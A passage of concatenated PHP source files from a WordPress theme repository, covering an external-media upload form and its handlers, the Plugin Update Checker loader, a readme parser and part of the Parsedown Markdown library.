<textarea id="emwi-urls" rows="<?php echo $is_in_upload_ui ? 3 : 10 ?>" name="urls" required placeholder="<?php echo __("请填写带有http或https的完整URL地址。\n支持多个,一行一个。");?>" value="<?php if ( isset( $_GET['urls'] ) ) echo esc_url( $_GET['urls'] ); ?>"></textarea>
<div id="emwi-hidden" <?php if ( $is_in_upload_ui || empty( $_GET['error'] ) ) : ?>style="display: none"<?php endif; ?>>
<div>
<span id="emwi-error"><?php if ( isset( $_GET['error'] ) ) echo esc_html( $_GET['error'] ); ?></span>
<?php echo _('Please fill in the following properties manually. If you leave the fields blank (or 0 for width/height), the plugin will try to resolve them automatically.'); ?>
</div>
<div id="emwi-properties">
<label><?php echo __('Width'); ?></label>
<input id="emwi-width" name="width" type="number" value="<?php if ( isset( $_GET['width'] ) ) echo esc_html( $_GET['width'] ); ?>">
<label><?php echo __('Height'); ?></label>
<input id="emwi-height" name="height" type="number" value="<?php if ( isset( $_GET['height'] ) ) echo esc_html( $_GET['height'] ); ?>">
<label><?php echo __('MIME Type'); ?></label>
<input id="emwi-mime-type" name="mime-type" type="text" value="<?php if ( isset( $_GET['mime-type'] ) ) echo esc_html( $_GET['mime-type'] ); ?>">
</div>
</div>
<div id="emwi-buttons-row">
<input type="hidden" name="action" value="add_external_media_without_import">
<span class="spinner"></span>
<input type="button" id="emwi-clear" class="button" value="<?php echo __('Clear') ?>">
<input type="submit" id="emwi-add" class="button button-primary" value="<?php echo __('Add') ?>">
<?php if ( $is_in_upload_ui ) : ?>
<input type="button" id="emwi-cancel" class="button" value="<?php echo __('Cancel') ?>">
<?php endif; ?>
</div>
</div>
<?php
}
function wp_ajax_add_external_media_without_import() {
$info = add_external_media_without_import();
$attachment_ids = $info['attachment_ids'];
$attachments = array();
foreach ( $attachment_ids as $attachment_id ) {
if ( $attachment = wp_prepare_attachment_for_js( $attachment_id ) ) {
array_push( $attachments, $attachment );
} else {
$error = "There's an attachment sucessfully inserted to the media library but failed to be retrieved from the database to be displayed on the page.";
}
}
$info['attachments'] = $attachments;
if ( isset( $error ) ) {
$info['error'] = isset( $info['error'] ) ? $info['error'] . "\nAnother error also occurred. " . $error : $error;
}
wp_send_json_success( $info );
}
function admin_post_add_external_media_without_import() {
$info = add_external_media_without_import();
$redirect_url = 'upload.php';
$urls = $info['urls'];
if ( ! empty( $urls ) ) {
$redirect_url = $redirect_url . '?page=add-external-media-without-import&urls=' . urlencode( $urls );
$redirect_url = $redirect_url . '&error=' . urlencode( $info['error'] );
$redirect_url = $redirect_url . '&width=' . urlencode( $info['width'] );
$redirect_url = $redirect_url . '&height=' . urlencode( $info['height'] );
$redirect_url = $redirect_url . '&mime-type=' . urlencode( $info['mime-type'] );
}
wp_redirect( admin_url( $redirect_url ) );
exit;
}
function sanitize_and_validate_input() {
$raw_urls = explode( "\n", $_POST['urls'] );
$urls = array();
foreach ( $raw_urls as $i => $raw_url ) {
// Don't call sanitize_text_field on url because it removes '%20'.
// Always use esc_url/esc_url_raw when sanitizing URLs. See:
// https://codex.wordpress.org/Function_Reference/esc_url
$urls[$i] = esc_url_raw( trim( $raw_url ) );
}
unset( $url ); // break the reference with the last element
$input = array(
'urls' => $urls,
'width' => sanitize_text_field( $_POST['width'] ),
'height' => sanitize_text_field( $_POST['height'] ),
'mime-type' => sanitize_mime_type( $_POST['mime-type'] )
);
$width_str = $input['width'];
$width_int = intval( $width_str );
if ( ! empty( $width_str ) && $width_int <= 0 ) {
$input['error'] = _('Width and height must be non-negative integers.');
return $input;
}
$height_str = $input['height'];
$height_int = intval( $height_str );
if ( ! empty( $height_str ) && $height_int <= 0 ) {
$input['error'] = _('Width and height must be non-negative integers.');
return $input;
}
$input['width'] = $width_int;
$input['height'] = $height_int;
return $input;
}
function add_external_media_without_import() {
$info = sanitize_and_validate_input();
if ( isset( $info['error'] ) ) {
return $info;
}
$urls = $info['urls'];
$width = $info['width'];
$height = $info['height'];
$mime_type = $info['mime-type'];
$attachment_ids = array();
$failed_urls = array();
foreach ( $urls as $url ) {
if ( empty( $width ) || empty( $height ) ) {
$image_size = @getimagesize( $url );
if ( empty( $image_size ) ) {
array_push( $failed_urls, $url );
continue;
}
$width_of_the_image = empty( $width ) ? $image_size[0] : $width;
$height_of_the_image = empty( $height ) ? $image_size[1] : $height;
$mime_type_of_the_image = empty( $mime_type ) ? $image_size['mime'] : $mime_type;
} elseif ( empty( $mime_type ) ) {
$response = wp_remote_head( $url );
if ( is_array( $response ) && isset( $response['headers']['content-type'] ) ) {
$width_of_the_image = $width;
$height_of_the_image = $height;
$mime_type_of_the_image = $response['headers']['content-type'];
} else {
continue;
}
}
$filename = wp_basename( $url );
$attachment = array(
'guid' => $url,
'post_mime_type' => $mime_type_of_the_image,
'post_title' => preg_replace( '/\.[^.]+$/', '', $filename ),
);
$attachment_metadata = array(
'width' => $width_of_the_image,
'height' => $height_of_the_image,
'file' => $filename );
$attachment_metadata['sizes'] = array( 'full' => $attachment_metadata );
$attachment_id = wp_insert_attachment( $attachment );
wp_update_attachment_metadata( $attachment_id, $attachment_metadata );
array_push( $attachment_ids, $attachment_id );
}
$info['attachment_ids'] = $attachment_ids;
$failed_urls_string = implode( "\n", $failed_urls );
$info['urls'] = $failed_urls_string;
if ( ! empty( $failed_urls_string ) ) {
$info['error'] = 'Failed to get info of the image(s).';
}
return $info;
}
| php | MIT | e434c2131c7faf29aa79a2553cca35e55d56dcca | 2026-01-05T05:14:50.586486Z | false |
kannafay/iFalse | https://github.com/kannafay/iFalse/blob/e434c2131c7faf29aa79a2553cca35e55d56dcca/admin/update/update-checker.php | admin/update/update-checker.php | <?php
/**
* Plugin Update Checker Library 4.11
* http://w-shadow.com/
*
* Copyright 2021 Janis Elsts
* Released under the MIT license. See license.txt for details.
*/
require dirname(__FILE__) . '/load-v4p11.php'; | php | MIT | e434c2131c7faf29aa79a2553cca35e55d56dcca | 2026-01-05T05:14:50.586486Z | false |
kannafay/iFalse | https://github.com/kannafay/iFalse/blob/e434c2131c7faf29aa79a2553cca35e55d56dcca/admin/update/load-v4p11.php | admin/update/load-v4p11.php | <?php
require dirname(__FILE__) . '/Puc/v4p11/Autoloader.php';
new Puc_v4p11_Autoloader();
require dirname(__FILE__) . '/Puc/v4p11/Factory.php';
require dirname(__FILE__) . '/Puc/v4/Factory.php';
//Register classes defined in this version with the factory.
foreach (
array(
'Plugin_UpdateChecker' => 'Puc_v4p11_Plugin_UpdateChecker',
'Theme_UpdateChecker' => 'Puc_v4p11_Theme_UpdateChecker',
'Vcs_PluginUpdateChecker' => 'Puc_v4p11_Vcs_PluginUpdateChecker',
'Vcs_ThemeUpdateChecker' => 'Puc_v4p11_Vcs_ThemeUpdateChecker',
'GitHubApi' => 'Puc_v4p11_Vcs_GitHubApi',
'BitBucketApi' => 'Puc_v4p11_Vcs_BitBucketApi',
'GitLabApi' => 'Puc_v4p11_Vcs_GitLabApi',
)
as $pucGeneralClass => $pucVersionedClass
) {
Puc_v4_Factory::addVersion($pucGeneralClass, $pucVersionedClass, '4.11');
//Also add it to the minor-version factory in case the major-version factory
//was already defined by another, older version of the update checker.
Puc_v4p11_Factory::addVersion($pucGeneralClass, $pucVersionedClass, '4.11');
}
| php | MIT | e434c2131c7faf29aa79a2553cca35e55d56dcca | 2026-01-05T05:14:50.586486Z | false |
kannafay/iFalse | https://github.com/kannafay/iFalse/blob/e434c2131c7faf29aa79a2553cca35e55d56dcca/admin/update/vendor/Parsedown.php | admin/update/vendor/Parsedown.php | <?php
if ( !class_exists('Parsedown', false) ) {
//Load the Parsedown version that's compatible with the current PHP version.
if ( version_compare(PHP_VERSION, '5.3.0', '>=') ) {
require __DIR__ . '/ParsedownModern.php';
} else {
require __DIR__ . '/ParsedownLegacy.php';
}
}
| php | MIT | e434c2131c7faf29aa79a2553cca35e55d56dcca | 2026-01-05T05:14:50.586486Z | false |
kannafay/iFalse | https://github.com/kannafay/iFalse/blob/e434c2131c7faf29aa79a2553cca35e55d56dcca/admin/update/vendor/PucReadmeParser.php | admin/update/vendor/PucReadmeParser.php | <?php
if ( !class_exists('PucReadmeParser', false) ):
/**
* This is a slightly modified version of github.com/markjaquith/WordPress-Plugin-Readme-Parser
* It uses Parsedown instead of the "Markdown Extra" parser.
*/
class PucReadmeParser {
function __construct() {
// This space intentionally blank
}
function parse_readme( $file ) {
$file_contents = @implode('', @file($file));
return $this->parse_readme_contents( $file_contents );
}
function parse_readme_contents( $file_contents ) {
$file_contents = str_replace(array("\r\n", "\r"), "\n", $file_contents);
$file_contents = trim($file_contents);
if ( 0 === strpos( $file_contents, "\xEF\xBB\xBF" ) )
$file_contents = substr( $file_contents, 3 );
// Markdown transformations
$file_contents = preg_replace( "|^###([^#]+)#*?\s*?\n|im", '=$1='."\n", $file_contents );
$file_contents = preg_replace( "|^##([^#]+)#*?\s*?\n|im", '==$1=='."\n", $file_contents );
$file_contents = preg_replace( "|^#([^#]+)#*?\s*?\n|im", '===$1==='."\n", $file_contents );
// === Plugin Name ===
// Must be the very first thing.
if ( !preg_match('|^===(.*)===|', $file_contents, $_name) )
return array(); // require a name
$name = trim($_name[1], '=');
$name = $this->sanitize_text( $name );
$file_contents = $this->chop_string( $file_contents, $_name[0] );
// Requires at least: 1.5
if ( preg_match('|Requires at least:(.*)|i', $file_contents, $_requires_at_least) )
$requires_at_least = $this->sanitize_text($_requires_at_least[1]);
else
$requires_at_least = NULL;
// Tested up to: 2.1
if ( preg_match('|Tested up to:(.*)|i', $file_contents, $_tested_up_to) )
$tested_up_to = $this->sanitize_text( $_tested_up_to[1] );
else
$tested_up_to = NULL;
// Requires PHP: 5.2.4
if ( preg_match('|Requires PHP:(.*)|i', $file_contents, $_requires_php) ) {
$requires_php = $this->sanitize_text( $_requires_php[1] );
} else {
$requires_php = null;
}
// Stable tag: 10.4-ride-the-fire-eagle-danger-day
if ( preg_match('|Stable tag:(.*)|i', $file_contents, $_stable_tag) )
$stable_tag = $this->sanitize_text( $_stable_tag[1] );
else
$stable_tag = NULL; // we assume trunk, but don't set it here to tell the difference between specified trunk and default trunk
// Tags: some tag, another tag, we like tags
if ( preg_match('|Tags:(.*)|i', $file_contents, $_tags) ) {
$tags = preg_split('|,[\s]*?|', trim($_tags[1]));
foreach ( array_keys($tags) as $t )
$tags[$t] = $this->sanitize_text( $tags[$t] );
} else {
$tags = array();
}
// Contributors: markjaquith, mdawaffe, zefrank
$contributors = array();
if ( preg_match('|Contributors:(.*)|i', $file_contents, $_contributors) ) {
$temp_contributors = preg_split('|,[\s]*|', trim($_contributors[1]));
foreach ( array_keys($temp_contributors) as $c ) {
$tmp_sanitized = $this->user_sanitize( $temp_contributors[$c] );
if ( strlen(trim($tmp_sanitized)) > 0 )
$contributors[$c] = $tmp_sanitized;
unset($tmp_sanitized);
}
}
// Donate Link: URL
if ( preg_match('|Donate link:(.*)|i', $file_contents, $_donate_link) )
$donate_link = esc_url( $_donate_link[1] );
else
$donate_link = NULL;
// togs, conts, etc are optional and order shouldn't matter. So we chop them only after we've grabbed their values.
foreach ( array('tags', 'contributors', 'requires_at_least', 'tested_up_to', 'stable_tag', 'donate_link') as $chop ) {
if ( $$chop ) {
$_chop = '_' . $chop;
$file_contents = $this->chop_string( $file_contents, ${$_chop}[0] );
}
}
$file_contents = trim($file_contents);
// short-description fu
if ( !preg_match('/(^(.*?))^[\s]*=+?[\s]*.+?[\s]*=+?/ms', $file_contents, $_short_description) )
$_short_description = array( 1 => &$file_contents, 2 => &$file_contents );
$short_desc_filtered = $this->sanitize_text( $_short_description[2] );
$short_desc_length = strlen($short_desc_filtered);
$short_description = substr($short_desc_filtered, 0, 150);
if ( $short_desc_length > strlen($short_description) )
$truncated = true;
else
$truncated = false;
if ( $_short_description[1] )
$file_contents = $this->chop_string( $file_contents, $_short_description[1] ); // yes, the [1] is intentional
// == Section ==
// Break into sections
// $_sections[0] will be the title of the first section, $_sections[1] will be the content of the first section
// the array alternates from there: title2, content2, title3, content3... and so forth
$_sections = preg_split('/^[\s]*==[\s]*(.+?)[\s]*==/m', $file_contents, -1, PREG_SPLIT_DELIM_CAPTURE|PREG_SPLIT_NO_EMPTY);
$sections = array();
for ( $i=0; $i < count($_sections); $i +=2 ) {
$title = $this->sanitize_text( $_sections[$i] );
if ( isset($_sections[$i+1]) ) {
$content = preg_replace('/(^[\s]*)=[\s]+(.+?)[\s]+=/m', '$1<h4>$2</h4>', $_sections[$i+1]);
$content = $this->filter_text( $content, true );
} else {
$content = '';
}
$sections[str_replace(' ', '_', strtolower($title))] = array('title' => $title, 'content' => $content);
}
// Special sections
// This is where we nab our special sections, so we can enforce their order and treat them differently, if needed
// upgrade_notice is not a section, but parse it like it is for now
$final_sections = array();
foreach ( array('description', 'installation', 'frequently_asked_questions', 'screenshots', 'changelog', 'change_log', 'upgrade_notice') as $special_section ) {
if ( isset($sections[$special_section]) ) {
$final_sections[$special_section] = $sections[$special_section]['content'];
unset($sections[$special_section]);
}
}
if ( isset($final_sections['change_log']) && empty($final_sections['changelog']) )
$final_sections['changelog'] = $final_sections['change_log'];
$final_screenshots = array();
if ( isset($final_sections['screenshots']) ) {
preg_match_all('|<li>(.*?)</li>|s', $final_sections['screenshots'], $screenshots, PREG_SET_ORDER);
if ( $screenshots ) {
foreach ( (array) $screenshots as $ss )
$final_screenshots[] = $ss[1];
}
}
// Parse the upgrade_notice section specially:
// 1.0 => blah, 1.1 => fnord
$upgrade_notice = array();
if ( isset($final_sections['upgrade_notice']) ) {
$split = preg_split( '#<h4>(.*?)</h4>#', $final_sections['upgrade_notice'], -1, PREG_SPLIT_DELIM_CAPTURE | PREG_SPLIT_NO_EMPTY );
if ( count($split) >= 2 ) {
for ( $i = 0; $i < count( $split ); $i += 2 ) {
$upgrade_notice[$this->sanitize_text( $split[$i] )] = substr( $this->sanitize_text( $split[$i + 1] ), 0, 300 );
}
}
unset( $final_sections['upgrade_notice'] );
}
// No description?
// No problem... we'll just fall back to the old style of description
// We'll even let you use markup this time!
$excerpt = false;
if ( !isset($final_sections['description']) ) {
$final_sections = array_merge(array('description' => $this->filter_text( $_short_description[2], true )), $final_sections);
$excerpt = true;
}
// dump the non-special sections into $remaining_content
// their order will be determined by their original order in the readme.txt
$remaining_content = '';
foreach ( $sections as $s_name => $s_data ) {
$remaining_content .= "\n<h3>{$s_data['title']}</h3>\n{$s_data['content']}";
}
$remaining_content = trim($remaining_content);
// All done!
// $r['tags'] and $r['contributors'] are simple arrays
// $r['sections'] is an array with named elements
$r = array(
'name' => $name,
'tags' => $tags,
'requires_at_least' => $requires_at_least,
'tested_up_to' => $tested_up_to,
'requires_php' => $requires_php,
'stable_tag' => $stable_tag,
'contributors' => $contributors,
'donate_link' => $donate_link,
'short_description' => $short_description,
'screenshots' => $final_screenshots,
'is_excerpt' => $excerpt,
'is_truncated' => $truncated,
'sections' => $final_sections,
'remaining_content' => $remaining_content,
'upgrade_notice' => $upgrade_notice
);
return $r;
}
function chop_string( $string, $chop ) { // chop a "prefix" from a string: Agressive! uses strstr not 0 === strpos
if ( $_string = strstr($string, $chop) ) {
$_string = substr($_string, strlen($chop));
return trim($_string);
} else {
return trim($string);
}
}
function user_sanitize( $text, $strict = false ) { // whitelisted chars
if ( function_exists('user_sanitize') ) // bbPress native
return user_sanitize( $text, $strict );
if ( $strict ) {
$text = preg_replace('/[^a-z0-9-]/i', '', $text);
$text = preg_replace('|-+|', '-', $text);
} else {
$text = preg_replace('/[^a-z0-9_-]/i', '', $text);
}
return $text;
}
function sanitize_text( $text ) { // not fancy
$text = strip_tags($text);
$text = esc_html($text);
$text = trim($text);
return $text;
}
function filter_text( $text, $markdown = false ) { // fancy, Markdown
$text = trim($text);
$text = call_user_func( array( __CLASS__, 'code_trick' ), $text, $markdown ); // A better parser than Markdown's for: backticks -> CODE
if ( $markdown ) { // Parse markdown.
if ( !class_exists('Parsedown', false) ) {
/** @noinspection PhpIncludeInspection */
require_once(dirname(__FILE__) . '/Parsedown' . (version_compare(PHP_VERSION, '5.3.0', '>=') ? '' : 'Legacy') . '.php');
}
$instance = Parsedown::instance();
$text = $instance->text($text);
}
$allowed = array(
'a' => array(
'href' => array(),
'title' => array(),
'rel' => array()),
'blockquote' => array('cite' => array()),
'br' => array(),
'p' => array(),
'code' => array(),
'pre' => array(),
'em' => array(),
'strong' => array(),
'ul' => array(),
'ol' => array(),
'li' => array(),
'h3' => array(),
'h4' => array()
);
$text = balanceTags($text);
$text = wp_kses( $text, $allowed );
$text = trim($text);
return $text;
}
function code_trick( $text, $markdown ) { // Don't use bbPress native function - it's incompatible with Markdown
// If doing markdown, first take any user formatted code blocks and turn them into backticks so that
// markdown will preserve things like underscores in code blocks
if ( $markdown )
$text = preg_replace_callback("!(<pre><code>|<code>)(.*?)(</code></pre>|</code>)!s", array( __CLASS__,'decodeit'), $text);
$text = str_replace(array("\r\n", "\r"), "\n", $text);
if ( !$markdown ) {
// This gets the "inline" code blocks, but can't be used with Markdown.
$text = preg_replace_callback("|(`)(.*?)`|", array( __CLASS__, 'encodeit'), $text);
// This gets the "block level" code blocks and converts them to PRE CODE
$text = preg_replace_callback("!(^|\n)`(.*?)`!s", array( __CLASS__, 'encodeit'), $text);
} else {
// Markdown can do inline code, we convert bbPress style block level code to Markdown style
$text = preg_replace_callback("!(^|\n)([ \t]*?)`(.*?)`!s", array( __CLASS__, 'indent'), $text);
}
return $text;
}
function indent( $matches ) {
$text = $matches[3];
$text = preg_replace('|^|m', $matches[2] . ' ', $text);
return $matches[1] . $text;
}
function encodeit( $matches ) {
if ( function_exists('encodeit') ) // bbPress native
return encodeit( $matches );
$text = trim($matches[2]);
$text = htmlspecialchars($text, ENT_QUOTES);
$text = str_replace(array("\r\n", "\r"), "\n", $text);
$text = preg_replace("|\n\n\n+|", "\n\n", $text);
$text = str_replace('&lt;', '<', $text);
$text = str_replace('&gt;', '>', $text);
$text = "<code>$text</code>";
if ( "`" != $matches[1] )
$text = "<pre>$text</pre>";
return $text;
}
function decodeit( $matches ) {
if ( function_exists('decodeit') ) // bbPress native
return decodeit( $matches );
$text = $matches[2];
$trans_table = array_flip(get_html_translation_table(HTML_ENTITIES));
$text = strtr($text, $trans_table);
$text = str_replace('<br />', '', $text);
$text = str_replace('&', '&', $text);
$text = str_replace(''', "'", $text);
if ( '<pre><code>' == $matches[1] )
$text = "\n$text\n";
return "`$text`";
}
} // end class
endif;
| php | MIT | e434c2131c7faf29aa79a2553cca35e55d56dcca | 2026-01-05T05:14:50.586486Z | false |
kannafay/iFalse | https://github.com/kannafay/iFalse/blob/e434c2131c7faf29aa79a2553cca35e55d56dcca/admin/update/vendor/ParsedownModern.php | admin/update/vendor/ParsedownModern.php | <?php
#
#
# Parsedown
# http://parsedown.org
#
# (c) Emanuil Rusev
# http://erusev.com
#
# For the full license information, view the LICENSE file that was distributed
# with this source code.
#
#
class Parsedown
{
# ~
const version = '1.6.0';
# ~
function text($text)
{
# make sure no definitions are set
$this->DefinitionData = array();
# standardize line breaks
$text = str_replace(array("\r\n", "\r"), "\n", $text);
# remove surrounding line breaks
$text = trim($text, "\n");
# split text into lines
$lines = explode("\n", $text);
# iterate through lines to identify blocks
$markup = $this->lines($lines);
# trim line breaks
$markup = trim($markup, "\n");
return $markup;
}
#
# Setters
#
function setBreaksEnabled($breaksEnabled)
{
$this->breaksEnabled = $breaksEnabled;
return $this;
}
protected $breaksEnabled;
function setMarkupEscaped($markupEscaped)
{
$this->markupEscaped = $markupEscaped;
return $this;
}
protected $markupEscaped;
function setUrlsLinked($urlsLinked)
{
$this->urlsLinked = $urlsLinked;
return $this;
}
protected $urlsLinked = true;
#
# Lines
#
protected $BlockTypes = array(
'#' => array('Header'),
'*' => array('Rule', 'List'),
'+' => array('List'),
'-' => array('SetextHeader', 'Table', 'Rule', 'List'),
'0' => array('List'),
'1' => array('List'),
'2' => array('List'),
'3' => array('List'),
'4' => array('List'),
'5' => array('List'),
'6' => array('List'),
'7' => array('List'),
'8' => array('List'),
'9' => array('List'),
':' => array('Table'),
'<' => array('Comment', 'Markup'),
'=' => array('SetextHeader'),
'>' => array('Quote'),
'[' => array('Reference'),
'_' => array('Rule'),
'`' => array('FencedCode'),
'|' => array('Table'),
'~' => array('FencedCode'),
);
# ~
protected $unmarkedBlockTypes = array(
'Code',
);
#
# Blocks
#
protected function lines(array $lines)
{
$CurrentBlock = null;
foreach ($lines as $line)
{
if (chop($line) === '')
{
if (isset($CurrentBlock))
{
$CurrentBlock['interrupted'] = true;
}
continue;
}
if (strpos($line, "\t") !== false)
{
$parts = explode("\t", $line);
$line = $parts[0];
unset($parts[0]);
foreach ($parts as $part)
{
$shortage = 4 - mb_strlen($line, 'utf-8') % 4;
$line .= str_repeat(' ', $shortage);
$line .= $part;
}
}
$indent = 0;
while (isset($line[$indent]) and $line[$indent] === ' ')
{
$indent ++;
}
$text = $indent > 0 ? substr($line, $indent) : $line;
# ~
$Line = array('body' => $line, 'indent' => $indent, 'text' => $text);
# ~
if (isset($CurrentBlock['continuable']))
{
$Block = $this->{'block'.$CurrentBlock['type'].'Continue'}($Line, $CurrentBlock);
if (isset($Block))
{
$CurrentBlock = $Block;
continue;
}
else
{
if ($this->isBlockCompletable($CurrentBlock['type']))
{
$CurrentBlock = $this->{'block'.$CurrentBlock['type'].'Complete'}($CurrentBlock);
}
}
}
# ~
$marker = $text[0];
# ~
$blockTypes = $this->unmarkedBlockTypes;
if (isset($this->BlockTypes[$marker]))
{
foreach ($this->BlockTypes[$marker] as $blockType)
{
$blockTypes []= $blockType;
}
}
#
# ~
foreach ($blockTypes as $blockType)
{
$Block = $this->{'block'.$blockType}($Line, $CurrentBlock);
if (isset($Block))
{
$Block['type'] = $blockType;
if ( ! isset($Block['identified']))
{
$Blocks []= $CurrentBlock;
$Block['identified'] = true;
}
if ($this->isBlockContinuable($blockType))
{
$Block['continuable'] = true;
}
$CurrentBlock = $Block;
continue 2;
}
}
# ~
if (isset($CurrentBlock) and ! isset($CurrentBlock['type']) and ! isset($CurrentBlock['interrupted']))
{
$CurrentBlock['element']['text'] .= "\n".$text;
}
else
{
$Blocks []= $CurrentBlock;
$CurrentBlock = $this->paragraph($Line);
$CurrentBlock['identified'] = true;
}
}
# ~
if (isset($CurrentBlock['continuable']) and $this->isBlockCompletable($CurrentBlock['type']))
{
$CurrentBlock = $this->{'block'.$CurrentBlock['type'].'Complete'}($CurrentBlock);
}
# ~
$Blocks []= $CurrentBlock;
unset($Blocks[0]);
# ~
$markup = '';
foreach ($Blocks as $Block)
{
if (isset($Block['hidden']))
{
continue;
}
$markup .= "\n";
$markup .= isset($Block['markup']) ? $Block['markup'] : $this->element($Block['element']);
}
$markup .= "\n";
# ~
return $markup;
}
protected function isBlockContinuable($Type)
{
return method_exists($this, 'block'.$Type.'Continue');
}
protected function isBlockCompletable($Type)
{
return method_exists($this, 'block'.$Type.'Complete');
}
#
# Code
protected function blockCode($Line, $Block = null)
{
if (isset($Block) and ! isset($Block['type']) and ! isset($Block['interrupted']))
{
return;
}
if ($Line['indent'] >= 4)
{
$text = substr($Line['body'], 4);
$Block = array(
'element' => array(
'name' => 'pre',
'handler' => 'element',
'text' => array(
'name' => 'code',
'text' => $text,
),
),
);
return $Block;
}
}
protected function blockCodeContinue($Line, $Block)
{
if ($Line['indent'] >= 4)
{
if (isset($Block['interrupted']))
{
$Block['element']['text']['text'] .= "\n";
unset($Block['interrupted']);
}
$Block['element']['text']['text'] .= "\n";
$text = substr($Line['body'], 4);
$Block['element']['text']['text'] .= $text;
return $Block;
}
}
protected function blockCodeComplete($Block)
{
$text = $Block['element']['text']['text'];
$text = htmlspecialchars($text, ENT_NOQUOTES, 'UTF-8');
$Block['element']['text']['text'] = $text;
return $Block;
}
#
# Comment
protected function blockComment($Line)
{
if ($this->markupEscaped)
{
return;
}
if (isset($Line['text'][3]) and $Line['text'][3] === '-' and $Line['text'][2] === '-' and $Line['text'][1] === '!')
{
$Block = array(
'markup' => $Line['body'],
);
if (preg_match('/-->$/', $Line['text']))
{
$Block['closed'] = true;
}
return $Block;
}
}
protected function blockCommentContinue($Line, array $Block)
{
if (isset($Block['closed']))
{
return;
}
$Block['markup'] .= "\n" . $Line['body'];
if (preg_match('/-->$/', $Line['text']))
{
$Block['closed'] = true;
}
return $Block;
}
#
# Fenced Code
protected function blockFencedCode($Line)
{
if (preg_match('/^['.$Line['text'][0].']{3,}[ ]*([\w-]+)?[ ]*$/', $Line['text'], $matches))
{
$Element = array(
'name' => 'code',
'text' => '',
);
if (isset($matches[1]))
{
$class = 'language-'.$matches[1];
$Element['attributes'] = array(
'class' => $class,
);
}
$Block = array(
'char' => $Line['text'][0],
'element' => array(
'name' => 'pre',
'handler' => 'element',
'text' => $Element,
),
);
return $Block;
}
}
protected function blockFencedCodeContinue($Line, $Block)
{
if (isset($Block['complete']))
{
return;
}
if (isset($Block['interrupted']))
{
$Block['element']['text']['text'] .= "\n";
unset($Block['interrupted']);
}
if (preg_match('/^'.$Block['char'].'{3,}[ ]*$/', $Line['text']))
{
$Block['element']['text']['text'] = substr($Block['element']['text']['text'], 1);
$Block['complete'] = true;
return $Block;
}
$Block['element']['text']['text'] .= "\n".$Line['body'];;
return $Block;
}
protected function blockFencedCodeComplete($Block)
{
$text = $Block['element']['text']['text'];
$text = htmlspecialchars($text, ENT_NOQUOTES, 'UTF-8');
$Block['element']['text']['text'] = $text;
return $Block;
}
#
# Header
protected function blockHeader($Line)
{
if (isset($Line['text'][1]))
{
$level = 1;
while (isset($Line['text'][$level]) and $Line['text'][$level] === '#')
{
$level ++;
}
if ($level > 6)
{
return;
}
$text = trim($Line['text'], '# ');
$Block = array(
'element' => array(
'name' => 'h' . min(6, $level),
'text' => $text,
'handler' => 'line',
),
);
return $Block;
}
}
#
# List
protected function blockList($Line)
{
list($name, $pattern) = $Line['text'][0] <= '-' ? array('ul', '[*+-]') : array('ol', '[0-9]+[.]');
if (preg_match('/^('.$pattern.'[ ]+)(.*)/', $Line['text'], $matches))
{
$Block = array(
'indent' => $Line['indent'],
'pattern' => $pattern,
'element' => array(
'name' => $name,
'handler' => 'elements',
),
);
$Block['li'] = array(
'name' => 'li',
'handler' => 'li',
'text' => array(
$matches[2],
),
);
$Block['element']['text'] []= & $Block['li'];
return $Block;
}
}
protected function blockListContinue($Line, array $Block)
{
if ($Block['indent'] === $Line['indent'] and preg_match('/^'.$Block['pattern'].'(?:[ ]+(.*)|$)/', $Line['text'], $matches))
{
if (isset($Block['interrupted']))
{
$Block['li']['text'] []= '';
unset($Block['interrupted']);
}
unset($Block['li']);
$text = isset($matches[1]) ? $matches[1] : '';
$Block['li'] = array(
'name' => 'li',
'handler' => 'li',
'text' => array(
$text,
),
);
$Block['element']['text'] []= & $Block['li'];
return $Block;
}
if ($Line['text'][0] === '[' and $this->blockReference($Line))
{
return $Block;
}
if ( ! isset($Block['interrupted']))
{
$text = preg_replace('/^[ ]{0,4}/', '', $Line['body']);
$Block['li']['text'] []= $text;
return $Block;
}
if ($Line['indent'] > 0)
{
$Block['li']['text'] []= '';
$text = preg_replace('/^[ ]{0,4}/', '', $Line['body']);
$Block['li']['text'] []= $text;
unset($Block['interrupted']);
return $Block;
}
}
#
# Quote
protected function blockQuote($Line)
{
if (preg_match('/^>[ ]?(.*)/', $Line['text'], $matches))
{
$Block = array(
'element' => array(
'name' => 'blockquote',
'handler' => 'lines',
'text' => (array) $matches[1],
),
);
return $Block;
}
}
protected function blockQuoteContinue($Line, array $Block)
{
if ($Line['text'][0] === '>' and preg_match('/^>[ ]?(.*)/', $Line['text'], $matches))
{
if (isset($Block['interrupted']))
{
$Block['element']['text'] []= '';
unset($Block['interrupted']);
}
$Block['element']['text'] []= $matches[1];
return $Block;
}
if ( ! isset($Block['interrupted']))
{
$Block['element']['text'] []= $Line['text'];
return $Block;
}
}
#
# Rule
protected function blockRule($Line)
{
if (preg_match('/^(['.$Line['text'][0].'])([ ]*\1){2,}[ ]*$/', $Line['text']))
{
$Block = array(
'element' => array(
'name' => 'hr'
),
);
return $Block;
}
}
#
# Setext
protected function blockSetextHeader($Line, array $Block = null)
{
if ( ! isset($Block) or isset($Block['type']) or isset($Block['interrupted']))
{
return;
}
if (chop($Line['text'], $Line['text'][0]) === '')
{
$Block['element']['name'] = $Line['text'][0] === '=' ? 'h1' : 'h2';
return $Block;
}
}
#
# Markup
protected function blockMarkup($Line)
{
if ($this->markupEscaped)
{
return;
}
if (preg_match('/^<(\w*)(?:[ ]*'.$this->regexHtmlAttribute.')*[ ]*(\/)?>/', $Line['text'], $matches))
{
$element = strtolower($matches[1]);
if (in_array($element, $this->textLevelElements))
{
return;
}
$Block = array(
'name' => $matches[1],
'depth' => 0,
'markup' => $Line['text'],
);
$length = strlen($matches[0]);
$remainder = substr($Line['text'], $length);
if (trim($remainder) === '')
{
if (isset($matches[2]) or in_array($matches[1], $this->voidElements))
{
$Block['closed'] = true;
$Block['void'] = true;
}
}
else
{
if (isset($matches[2]) or in_array($matches[1], $this->voidElements))
{
return;
}
if (preg_match('/<\/'.$matches[1].'>[ ]*$/i', $remainder))
{
$Block['closed'] = true;
}
}
return $Block;
}
}
protected function blockMarkupContinue($Line, array $Block)
{
if (isset($Block['closed']))
{
return;
}
if (preg_match('/^<'.$Block['name'].'(?:[ ]*'.$this->regexHtmlAttribute.')*[ ]*>/i', $Line['text'])) # open
{
$Block['depth'] ++;
}
if (preg_match('/(.*?)<\/'.$Block['name'].'>[ ]*$/i', $Line['text'], $matches)) # close
{
if ($Block['depth'] > 0)
{
$Block['depth'] --;
}
else
{
$Block['closed'] = true;
}
}
if (isset($Block['interrupted']))
{
$Block['markup'] .= "\n";
unset($Block['interrupted']);
}
